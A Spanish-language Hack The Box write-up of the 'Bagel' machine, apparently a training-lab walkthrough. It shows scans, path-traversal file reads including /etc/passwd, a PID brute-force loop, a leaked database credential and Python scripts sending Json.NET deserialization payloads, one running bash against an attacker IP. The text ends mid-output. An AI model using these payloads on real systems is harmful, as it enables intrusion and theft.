Table of Contents
Hack The Box: Bagel Writeup
Welcome to my detailed writeup of the medium difficulty machine “Bagel” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.129.228.247 --ulimit 5000 -g
210.129.228.247 -> [22,5000]
1nmap -p22,5000 -sCV 10.129.228.247 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 15:16 CET
3Nmap scan report for 10.129.228.247
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.8 (protocol 2.0)
8| ssh-hostkey:
9| 256 6e:4e:13:41:f2:fe:d9:e0:f7:27:5b:ed:ed:cc:68:c2 (ECDSA)
10|_ 256 80:a7:cd:10:e7:2f:db:95:8b:86:9b:1b:20:65:2a:98 (ED25519)
115000/tcp open upnp?
12| fingerprint-strings:
13| GetRequest:
14| HTTP/1.1 400 Bad Request
15| Server: Microsoft-NetCore/2.0
16| Date: Tue, 17 Dec 2024 14:17:09 GMT
17| Connection: close
18| HTTPOptions:
19| HTTP/1.1 400 Bad Request
20| Server: Microsoft-NetCore/2.0
21| Date: Tue, 17 Dec 2024 14:17:24 GMT
22| Connection: close
23| Help, SSLSessionReq:
24| HTTP/1.1 400 Bad Request
25| Content-Type: text/html
26| Server: Microsoft-NetCore/2.0
27| Date: Tue, 17 Dec 2024 14:17:34 GMT
28| Content-Length: 52
29| Connection: close
30| Keep-Alive: true
31| <h1>Bad Request (Invalid request line (parts).)</h1>
32| RTSPRequest:
33| HTTP/1.1 400 Bad Request
34| Content-Type: text/html
35| Server: Microsoft-NetCore/2.0
36| Date: Tue, 17 Dec 2024 14:17:09 GMT
37| Content-Length: 54
38| Connection: close
39| Keep-Alive: true
40| <h1>Bad Request (Invalid request line (version).)</h1>
41| TLSSessionReq, TerminalServerCookie:
42| HTTP/1.1 400 Bad Request
43| Content-Type: text/html
44| Server: Microsoft-NetCore/2.0
45| Date: Tue, 17 Dec 2024 14:17:35 GMT
46| Content-Length: 52
47| Connection: close
48| Keep-Alive: true
49|_ <h1>Bad Request (Invalid request line (parts).)</h1>
501 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
51SF-Port5000-TCP:V=7.94SVN%I=7%D=12/17%Time=676187E3%P=x86_64-pc-linux-gnu%
52SF:r(GetRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Micro
53SF:soft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:17:09\x20
54SF:GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,E8,"HTTP/1\.1\x2040
55SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microso
56SF:ft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:17:09\x20GM
57SF:T\r\nContent-Length:\x2054\r\nConnection:\x20close\r\nKeep-Alive:\x20tr
58SF:ue\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(versi
59SF:on\)\.\)</h1>")%r(HTTPOptions,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
60SF:nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x20202
61SF:4\x2014:17:24\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(Help,E6,"HTTP/
62SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\
63SF:x20Microsoft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:1
64SF:7:34\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\nKeep-Al
65SF:ive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\
66SF:x20\(parts\)\.\)</h1>")%r(SSLSessionReq,E6,"HTTP/1\.1\x20400\x20Bad\x20
67SF:Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2
68SF:\.0\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:17:34\x20GMT\r\nContent
69SF:-Length:\x2052\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h
70SF:1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>"
71SF:)%r(TerminalServerCookie,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
72SF:ent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x2
73SF:0Tue,\x2017\x20Dec\x202024\x2014:17:35\x20GMT\r\nContent-Length:\x2052\
74SF:r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Reques
75SF:t\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(TLSSessionR
76SF:eq,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html
77SF:\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Tue,\x2017\x20Dec\x20
78SF:2024\x2014:17:35\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20clos
79SF:e\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20requ
80SF:est\x20line\x20\(parts\)\.\)</h1>");
81
82Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
83Nmap done: 1 IP address (1 host up) scanned in 100.31 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.247 -oN allPorts.UDP
2[sudo] password for kali:
3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 15:16 CET
4Nmap scan report for 10.129.228.247
5Host is up (0.037s latency).
6Not shown: 1494 open|filtered udp ports (no-response)
7PORT STATE SERVICE
816739/udp closed unknown
917573/udp closed unknown
1020851/udp closed unknown
1129541/udp closed unknown
1236778/udp closed unknown
1351554/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds
HTTP Enumeration
La versión de OpenSSH no es vulnerable, por lo cual el vector de ataque tiene pinta de que debe de ser por HTTP.
Además, del escaneo inicial encontramos algo interesante, Server: Microsoft-NetCore/2.0
, esto es un entorno de ejecución de ASP.NET que permite ejecutar aplicaciones web o de servidores, compatible con Linux. Por lo cual nos vamos a enfrentar a una aplicación .NET
whatweb
no nos reporta nada interesante salvo que la raíz de la aplicación web nos reporta un código de error 400 Bad Request
.
1whatweb http://10.129.228.247:5000
2http://10.129.228.247:5000 [400 Bad Request] Country[RESERVED][ZZ], HTTPServer[Microsoft-NetCore/2.0], IP[10.129.228.247]
Intentando fuzzear con feroxbuster
me reporta un error de time-out.
1feroxbuster -u http://10.129.228.247:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://10.129.228.247:5000
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22Could not connect to http://10.129.228.247:5000, skipping...
23 => error sending request for url (http://10.129.228.247:5000/): operation timed out
Escaneando otra vez con rustscan
vemos que también existe el puerto 8000 abierto, menos mal que me di cuenta temprano de esto antes de comerme la cabeza.
1rustscan -a 10.129.228.247 --ulimit 5000 -g
210.129.228.247 -> [5000,8000,22]
nmap
nos reporta cosas interesantes, como parecía, es otra aplicación web pero esta vez de Flask y además encontramos el dominio bagel.htb
, lo añadimos al /etc/hosts
.
1nmap -p8000 -sCV 10.129.228.247
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 15:26 CET
3Nmap scan report for 10.129.228.247
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
78000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
8|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
9|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
10| fingerprint-strings:
11| FourOhFourRequest:
12| HTTP/1.1 404 NOT FOUND
13| Server: Werkzeug/2.2.2 Python/3.10.9
14| Date: Tue, 17 Dec 2024 14:26:56 GMT
15| Content-Type: text/html; charset=utf-8
16| Content-Length: 207
17| Connection: close
18| <!doctype html>
19| <html lang=en>
20| <title>404 Not Found</title>
21| <h1>Not Found</h1>
22| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
23| GetRequest:
24| HTTP/1.1 302 FOUND
25| Server: Werkzeug/2.2.2 Python/3.10.9
26| Date: Tue, 17 Dec 2024 14:26:51 GMT
27| Content-Type: text/html; charset=utf-8
28| Content-Length: 263
29| Location: http://bagel.htb:8000/?page=index.html
30| Connection: close
31| <!doctype html>
32| <html lang=en>
33| <title>Redirecting...</title>
34| <h1>Redirecting...</h1>
35| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
36| Socks5:
37| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
38| "http://www.w3.org/TR/html4/strict.dtd">
39| <html>
40| <head>
41| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
42| <title>Error response</title>
43| </head>
44| <body>
45| <h1>Error response</h1>
46| <p>Error code: 400</p>
47| <p>Message: Bad request syntax ('
48| ').</p>
49| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
50| </body>
51|_ </html>
521 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
53SF-Port8000-TCP:V=7.94SVN%I=7%D=12/17%Time=67618A29%P=x86_64-pc-linux-gnu%
54SF:r(GetRequest,1EA,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2
55SF:\.2\x20Python/3\.10\.9\r\nDate:\x20Tue,\x2017\x20Dec\x202024\x2014:26:5
56SF:1\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Len
57SF:gth:\x20263\r\nLocation:\x20http://bagel\.htb:8000/\?page=index\.html\r
58SF:\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<t
59SF:itle>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20s
60SF:hould\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20UR
61SF:L:\x20<a\x20href=\"http://bagel\.htb:8000/\?page=index\.html\">http://b
62SF:agel\.htb:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20the\x
63SF:20link\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\
64SF:r\nServer:\x20Werkzeug/2\.2\.2\x20Python/3\.10\.9\r\nDate:\x20Tue,\x201
65SF:7\x20Dec\x202024\x2014:26:56\x20GMT\r\nContent-Type:\x20text/html;\x20c
66SF:harset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<
67SF:!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title
68SF:>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20f
69SF:ound\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20
70SF:manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\
71SF:.</p>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x2
72SF:0HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\
73SF:.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\
74SF:x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=
75SF:\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Er
76SF:ror\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body
77SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20
78SF:\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\
79SF:x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05\\x04
80SF:\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x20\x20
81SF:\x20\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST
82SF:\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\
83SF:n\x20\x20\x20\x20</body>\n</html>\n");
84
85Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
86Nmap done: 1 IP address (1 host up) scanned in 95.00 seconds
Este es el sitio web.
Directory Path Traversal -> Local File Inclusion
Como podemos ver el parámetro page
pinta turbio, ya que se le está pasando un archivo directamente, podemos comprobar si es vulnerable a Path Traversal y vemos que si, muy básico todo por ahora.
1curl http://bagel.htb:8000/\?page\=../../../../../../../../../etc/passwd
2root:x:0:0:root:/root:/bin/bash
3bin:x:1:1:bin:/bin:/sbin/nologin
4daemon:x:2:2:daemon:/sbin:/sbin/nologin
5adm:x:3:4:adm:/var/adm:/sbin/nologin
6lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
7sync:x:5:0:sync:/sbin:/bin/sync
8shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
9halt:x:7:0:halt:/sbin:/sbin/halt
10mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
11operator:x:11:0:operator:/root:/sbin/nologin
12games:x:12:100:games:/usr/games:/sbin/nologin
13ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
14nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
15dbus:x:81:81:System message bus:/:/sbin/nologin
16tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
17systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
18systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
19systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
20polkitd:x:998:997:User for polkitd:/:/sbin/nologin
21rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
22abrt:x:173:173::/etc/abrt:/sbin/nologin
23setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
24cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
25cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
26rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
27sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
28chrony:x:994:992::/var/lib/chrony:/sbin/nologin
29dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
30tcpdump:x:72:72::/:/sbin/nologin
31systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
32systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
33developer:x:1000:1000::/home/developer:/bin/bash
34phil:x:1001:1001::/home/phil:/bin/bash
35_laurel:x:987:987::/var/log/laurel:/bin/false
Como es una aplicación Flask podríamos intentar conseguir unos archivos del sistema mediante Path Traversal para poder conseguir generar el código de la consola de Werkzeug pero podemos ver que está deshabilitada.
Dumping source code
Como es normal, las aplicaciones web de python tiene un archivo app.py
como script central para iniciar la aplicación, vamos a leer el código para ver que está pasando, este archivo se encuentra en ../app.py
.
1from flask import Flask, request, send_file, redirect, Response
2import os.path
3import websocket,json
4
5app = Flask(__name__)
6
7@app.route('/')
8def index():
9 if 'page' in request.args:
10 page = 'static/'+request.args.get('page')
11 if os.path.isfile(page):
12 resp=send_file(page)
13 resp.direct_passthrough = False
14 if os.path.getsize(page) == 0:
15 resp.headers["Content-Length"]=str(len(resp.get_data()))
16 return resp
17 else:
18 return "File not found"
19 else:
20 return redirect('http://bagel.htb:8000/?page=index.html', code=302)
21
22@app.route('/orders')
23def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
24 try:
25 ws = websocket.WebSocket()
26 ws.connect("ws://127.0.0.1:5000/") # connect to order app
27 order = {"ReadOrder":"orders.txt"}
28 data = str(json.dumps(order))
29 ws.send(data)
30 result = ws.recv()
31 return(json.loads(result)['ReadOrder'])
32 except:
33 return("Unable to connect")
34
35if __name__ == '__main__':
36 app.run(host='0.0.0.0', port=8000)
El endpoint /orders
establece una conexión a través de WebSocket con la aplicación que está en el puerto 5000, luego envía un mensaje en formato JSON con la intención de leer un archivo orders.txt
Podemos intentar cargar el archivo orders.txt
pero después de un rato, vemos que el servidor nos responde con la cadena test
1import websocket,json
2
3ws = websocket.WebSocket()
4ws.connect("ws://bagel.htb:5000/") # connect to order app
5order = {"ReadOrder":"orders.txt"}
6data = str(json.dumps(order))
7ws.send(data)
8result = ws.recv()
9print(json.loads(result)['ReadOrder'])
1python3 exploit.py
2test
Brute-forcing PID’s cmdline
Podríamos intentar recuperar el .dll
o el .exe
del servidor WebSocket a través del Path Traversal e intentar descompilarlo para ver si se oculta información privilegiada pero por ahora no tengo ni idea de donde se encuentra el archivo .dll
que queremos recuperar.
Como tenemos un LFI y el WebSocket está activo y según el código parece que se debe de ejecutar manualmente, de ahí el recordatorio de abrir el WS en forma de comentario que nos hemos encontrado podemos hacer una cosa.
En linux, en /proc
se incluye un directorio por cada proceso que está en ejecución, los directorios son /proc/PID
siendo PID el número del proceso. Dentro de este directorio existe un fichero que contiene información sobre el comando original que ejecutó el proceso llamado cmdline
, por lo que quizás podemos recuperar el comando con el que se ejecutó el servidor WebSocket y si se ha utilizado rutas absolutas podríamos saber cual es el archivo que nos interesa para descompilarlo.
Con un bucle for y grep
podemos iterar hasta un número elevado ya que los PID en linux suelen ser números altos y encontramos algo interesante.
1for i in {1..80000}; do curl -s http://bagel.htb:8000/\?page\=../../../../../../../../../proc/$i/cmdline --output - | grep -v "File not found" --binary-files=text && echo " -> PID: $i"; done
2/usr/lib/systemd/systemdrhgb--switched-root--system--deserialize35
3 -> PID: 1
4/usr/lib/systemd/systemd-journald
5 -> PID: 760
6/usr/lib/systemd/systemd-udevd
7 -> PID: 774
8/usr/lib/systemd/systemd-oomd
9 -> PID: 852
10/usr/lib/systemd/systemd-resolved
11 -> PID: 854
12/usr/lib/systemd/systemd-userdbd
13 -> PID: 855
14/sbin/auditd
15 -> PID: 856
16/sbin/auditd
17 -> PID: 857
18/usr/sbin/sedispatch
19 -> PID: 858
20/usr/local/sbin/laurel--config/etc/laurel/config.toml
21 -> PID: 859
22/sbin/auditd
23 -> PID: 860
24/usr/sbin/NetworkManager--no-daemon
25 -> PID: 888
26dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
27 -> PID: 892
28python3/home/developer/app/app.py
29 -> PID: 894
30/usr/sbin/irqbalance--foreground
31 -> PID: 895
32/usr/lib/polkit-1/polkitd--no-debug
33 -> PID: 897
34/usr/sbin/rsyslogd-n
35 -> PID: 898
36/usr/sbin/rsyslogd-n
37 -> PID: 900
38/usr/lib/systemd/systemd-logind
39 -> PID: 901
40/usr/bin/VGAuthService-s
41 -> PID: 902
42/usr/bin/vmtoolsd
43 -> PID: 903
44/usr/sbin/abrtd-d-s
45 -> PID: 904
46/usr/sbin/chronyd-F2
47 -> PID: 906
48/usr/bin/dbus-broker-launch--scopesystem--audit
49 -> PID: 907
50/usr/sbin/rsyslogd-n
51 -> PID: 915
52dbus-broker--log4--controller9--machine-idce8a2667e5384602a9b46d6ad7614e92--max-bytes536870912--max-fds4096--max-matches131072--audit
53 -> PID: 916
54dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
55 -> PID: 921
56dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
57 -> PID: 922
58dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
59 -> PID: 923
60dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
61 -> PID: 924
62dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
63 -> PID: 925
64dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
65 -> PID: 926
66dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
67 -> PID: 927
Decompiling .NET dll w/dotPeek
El comando utilizado para ejecutar el proceso del WebSocket ha sido:
1dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
Ahora podemos descargarnos este .dll
1wget http://bagel.htb:8000/\?page\=../../../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll
2--2024-12-17 16:09:06-- http://bagel.htb:8000/?page=../../../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll
3Resolving bagel.htb (bagel.htb)... 10.129.228.247
4Connecting to bagel.htb (bagel.htb)|10.129.228.247|:8000... connected.
5HTTP request sent, awaiting response... 200 OK
6Length: 10752 (10K) [application/octet-stream]
7Saving to: ‘index.html?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fbagel%2Fbin%2FDebug%2Fnet6.0%2Fbagel.dll’
8
9index.html?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fop 100%[======================================================================================================================================>] 10.50K --.-KB/s in 0s
10
112024-12-17 16:09:06 (28.8 MB/s) - ‘index.html?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fbagel%2Fbin%2FDebug%2Fnet6.0%2Fbagel.dll’ saved [10752/10752]
Lo renombramos.
1mv index.html\?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fopt%2Fbagel%2Fbin%2FDebug%2Fnet6.0%2Fbagel.dll bagel.dll
Ahora podemos comprobar que efectivamente este es un archivo .dll
que utiliza .NET.
1file bagel.dll
2bagel.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
Esto significa que podemos utilizar dotPeek
para descompilar el DLL y ver que contiene.
Nos podemos compartir el DLL a nuestra máquina con impacket-smbserver
, una vez abierto en dotPeek
podemos leer el código fuente de la aplicación.
Information Disclosure
En la clase DB
y en el método DB_connection()
encontramos una línea que realiza una conexión Sql donde está hardcodeada unas credenciales.
dev:k8wdAYYKyhnjg3K
Quizás son las credenciales de los usuarios developer
o phil
pero no podemos conectarnos por SSH ya que solo se permite autenticación por par de claves.
1ssh developer@bagel.htb
2developer@bagel.htb: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
Insecure JSON Deserialization
Analizando el código encontramos la clase Handler
que contiene métodos relacionados con la serialización y deserialización de objetos.
1public class Handler
2 {
3 public object Serialize(object obj)
4 {
5 return (object) JsonConvert.SerializeObject(obj, (Formatting) 1, new JsonSerializerSettings()
6 {
7 TypeNameHandling = (TypeNameHandling) 4
8 });
9 }
10
11 public object Deserialize(string json)
12 {
13 try
14 {
15 return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
16 {
17 TypeNameHandling = (TypeNameHandling) 4
18 });
19 }
20 catch
21 {
22 return (object) "{\"Message\":\"unknown\"}";
23 }
24 }
25 }
Este método es vulnerable a un ataque de deserialización ya que se utiliza la opción TypeNameHandling.All
en JsonConvert.DeserializeObject
y además el input del usuario no es filtrado en ningún momento.
Por qué es peligroso TypeNameHandling.All
?
- La opción
TypeNameHandling.All
permite que el deserializador interprete y ejecute tipos específicos incluidos en los datos JSON recibidos. - Esto significa que si un atacante puede controlar el JSON de entrada, puede incluir un assembly o un tipo arbitrario y ejecutar código malicioso durante el proceso de deserialización.
En Linux, podemos usar clases estándar como System.Diagnostics.Process
para ejecutar comandos del sistema.
Vamos a intentar ejecutar un comando a nivel de sistema para mandarnos un ping, este payload está generado por ChatGPT.
1{
2 "$type": "System.Diagnostics.Process, System.Diagnostics.Process",
3 "StartInfo": {
4 "FileName": "/bin/bash",
5 "Arguments": "-c 'ping -c 4 <IP_ATACANTE>'"
6 }
7}
Lo que mas me interesa de este payload es el valor de $type
- Valor:
"System.Diagnostics.Process, System.Diagnostics.Process"
- Este campo especifica el tipo de objeto que se está deserializando. El formato es
"Namespace.Clase, Assembly"
. En este caso, el tipo que se está deserializando esSystem.Diagnostics.Process
, que se utiliza para iniciar y gestionar procesos del sistema operativo. - La clave
"$type"
es crucial para permitir la deserialización polimórfica y la ejecución de código arbitrario. En este caso, especificamos que el objeto deserializado debe ser de tipoProcess
.
Escribiendo un simple script en python…
1import websocket
2
3url = "ws://bagel.htb:5000/"
4
5# Payload JSON malicioso
6payload = '''
7{
8 "$type": "System.Diagnostics.Process, System.Diagnostics.Process",
9 "StartInfo": {
10 "FileName": "/bin/bash",
11 "Arguments": "-c 'ping -c 4 10.10.14.197'"
12 }
13}
14'''
15
16ws = websocket.WebSocket()
17ws.connect(url)
18
19print("[*] Enviando payload malicioso...")
20ws.send(payload)
21
22response = ws.recv()
23print("[*] Respuesta del servidor:", response)
24
25ws.close()
Al ejecutarlo nos devuelve lo siguiente:
1python3 exploit.py
2[*] Enviando payload malicioso...
3[*] Respuesta del servidor: "{\"Message\":\"unknown\"}"
Esto significa que la solicitud ha generado una excepción en el método, por lo cual nos ha devuelto ese mensaje.
Abusing File.ReadFile
+ Orders.RemoveOrder
with the Deserialization Vulnerability to read phil
private key
Quizás no funciona ya que la biblioteca System.Diagnostics
no está disponible en el servidor Linux o el ensamblado System.Diagnostics.Process
está bloqueado.
Por lo cual podemos intentar usar otras bibliotecas, o los tipos específicos en el código que hemos encontrado como por ejemplo la clase File
.
En esta clase tenemos el método ReadFile
con el cual podemos leer un archivo.
1
2 public string ReadFile
3 {
4 set
5 {
6 this.filename = value;
7 this.ReadContent(this.directory + this.filename);
8 }
9 get => this.file_content;
10 }
Ahora, podemos ver que la clase Orders
tiene una instancia de File
El problema es que el método ReadOrder
contiene una sanitización para evitar el Path Traversal, por lo cual vamos a aprovechar la deserialización que se puede realizar y el método RemoveOrder
que no contiene esta sanitización y como podéis ver en el código no se define los getter ni los setter, por lo cual directamente se guarda el valor que se le pasa y se retorna cuando se lee, esto nos viene perfecto para poder leer un archivo del sistema.
1public class Orders
2 {
3 private string order_filename;
4 private string order_info;
5 private File file = new File();
6
7 [field: DebuggerBrowsable]
8 public object RemoveOrder { get; set; }
9
10 public string WriteOrder
11 {
12 get => this.file.WriteFile;
13 set
14 {
15 this.order_info = value;
16 this.file.WriteFile = this.order_info;
17 }
18 }
19
20 public string ReadOrder
21 {
22 get => this.file.ReadFile;
23 set
24 {
25 this.order_filename = value;
26 this.order_filename = this.order_filename.Replace("/", "");
27 this.order_filename = this.order_filename.Replace("..", "");
28 this.file.ReadFile = this.order_filename;
29 }
30 }
31 }
Entonces juntando todo, deberíamos de ser capaz de crear un objeto RemoveOrder
pasando como argumento un objeto de tipo File con el ReadFile
setteado con el archivo que queremos leer.
Entonces, modificando el payload que anteriormente nos ha dado ChatGPT y leyendo la documentación oficial , el payload se queda en lo siguiente:
1{
2 "RemoveOrder": {
3 "$type": "bagel_server.File, bagel",
4 "ReadFile": "../../../../../../../../etc/passwd"
5 }
6}
Entonces, con el siguiente script en python, podemos enviar el payload que queremos.
1import websocket
2
3url = "ws://bagel.htb:5000/"
4
5payload = '''
6{
7 "RemoveOrder": {
8 "$type": "bagel_server.File, bagel",
9 "ReadFile": "../../../../../../../../etc/passwd"
10 }
11}
12'''
13
14ws = websocket.WebSocket()
15ws.connect(url)
16
17print("[*] Enviando payload malicioso...")
18ws.send(payload)
19
20response = ws.recv()
21print("[*] Respuesta del servidor:", response)
22
23ws.close()
Y vemos que efectivamente, podemos leer el archivo que queramos.
1python3 exploit.py
2[*] Enviando payload malicioso...
3[*] Respuesta del servidor: {
4 "UserId": 0,
5 "Session": "Unauthorized",
6 "Time": "6:11:40",
7 "RemoveOrder": {
8 "$type": "bagel_server.File, bagel",
